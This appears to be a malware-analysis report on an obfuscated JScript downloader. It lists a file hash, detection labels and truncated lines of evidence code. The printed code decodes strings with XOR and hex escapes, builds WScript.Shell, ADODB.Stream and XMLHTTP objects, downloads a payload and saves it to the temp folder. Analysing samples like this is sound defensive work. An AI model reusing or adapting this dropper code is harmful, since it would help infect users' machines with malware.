20161130_949604d33b87223046249a5dec78edd4.js
Obfuscated malware downloader
Encoded eval() callJScript-based dropper generator
SHA-256f943600a4cae315e43ae84b3caa3a42915fb03c1371896ba1068f22df8880604
Evidence
1String.prototype["ZZZZZZZZZZZzzzzzzzzzzzzzzzzzGZg8"] = function () {return ("asdf", this.split(",").join(""));};
2//BEGIN_CODEC_PART
3function ZZZZZZZZZZZzzzzzzzzzzzzzzzzzYPw3(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKNo5)
4{var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2=new Array();
5ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[199]=128;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[252]=129;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[233]=130;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[226]=131;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[228]=132;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[224]=133;ZZZZZZZZZZZzzzzzzzzzzzzzzzzz …
49:132… ZZZzzzzzzzzzzzzzzzzzUFr6 += 1)
50{ZZZZZZZZZZZzzzzzzzzzzzzzzzzzATs3[ZZZZZZZZZZZzzzzzzzzzzzzzzzzzUFr6] ^= ZZZZZZZZZZZzzzzzzzzzzzzzzzzzPRe5[ZZZZZZZZZZZzzzzzzzzzzzzzzzzzUFr6 % ZZZZZZZZZZZzzzzzzzzzzzzzzzzzPRe5.length];};
51return ZZZZZZZZZZZzzzzzzzzzzzzzzzzzATs3;}
52function ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZBj8(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzLYe5)
53{var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1=new ActiveXObject("ADODB.Stream");
54ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1.type=2;
55ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["Charset"]="437";
56ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1.open();
57ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["LoadFromFile"](ZZZZZZZZZZZzzzzzzzzzzzzzzzzzLYe5);
58var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzHd5=ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["ReadText"];
59ZZZZZZZZZZZ …
76:89… 48sd4");
77var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzURe1 = "EwYG2X4z";
78var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzCz0 = "SWNJTAJj6Yl6ZSmqpLsLsPj";
79var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzCa2 = "RGdlxCbEg57pli6nvTKyXOfqcJXuST9";
80var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzHVc8 = new ActiveXObject("Scripting.FileSystemObject");
81var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzAMo3=2;
82var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWUb9=new ActiveXObject("WScript.Shell");
83var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzHn7=ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWUb9["\x45,\x78,\x70,\x61,\x6e,\x64,\x45,\x6e,\x76,\x69,\x72,\x6f,\x6e,\x6d,\x65,\x6e,\x74,\x53,\x74,\x72,\x69,\x6e,\x67,\x73".ZZZZZZZZZZZzzzzzzzzzzzzzzzzzGZg8()]("\x25\x54\x45\x4d\x5 …
84:94… zzzzzzURe1;
85var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzNAh0=ZZZZZZZZZZZzzzzzzzzzzzzzzzzzJWx3 + ".z" + "k";
86var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2 = new ActiveXObject(eval('"\x4d\x2c\x53\x2c\x58\x2c\x4d\x2c\x4c\x2c\x32\x2c\x2e\x2c\x58\x2c\x4d\x2c\x4c\x2c\x48\x2c\x54\x2c\x54\x2c\x50".ZZZZZZZZZZZzzzzzzzzzzzzzzzzzGZg8()'));
87function ZZZZZZZZZZZzzzzzzzzzzzzzzzzzFn8()
88{
89var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzHy2 = …
99ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
100ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2["s,e,n,d".ZZZZZZZZZZZzzzzzzzzzzzzzzzzzGZg8()]();
101// while (ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2.readystate < 4) WScript["Sleep"](100);
102ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.open();
103ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.type=1;
104var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKVe3 = new Date();
105ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKVe3.setFullYear("2002");
106/*@cc_on
107ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.write(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2.ResponseBody);
108ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.position=0;
109if (""+ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKVe3.getFullYear() == "2002") ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1["SaveToFile"](ZZZZZZZZZZZzzzzzzzzzzzzzzzzzJWx3, …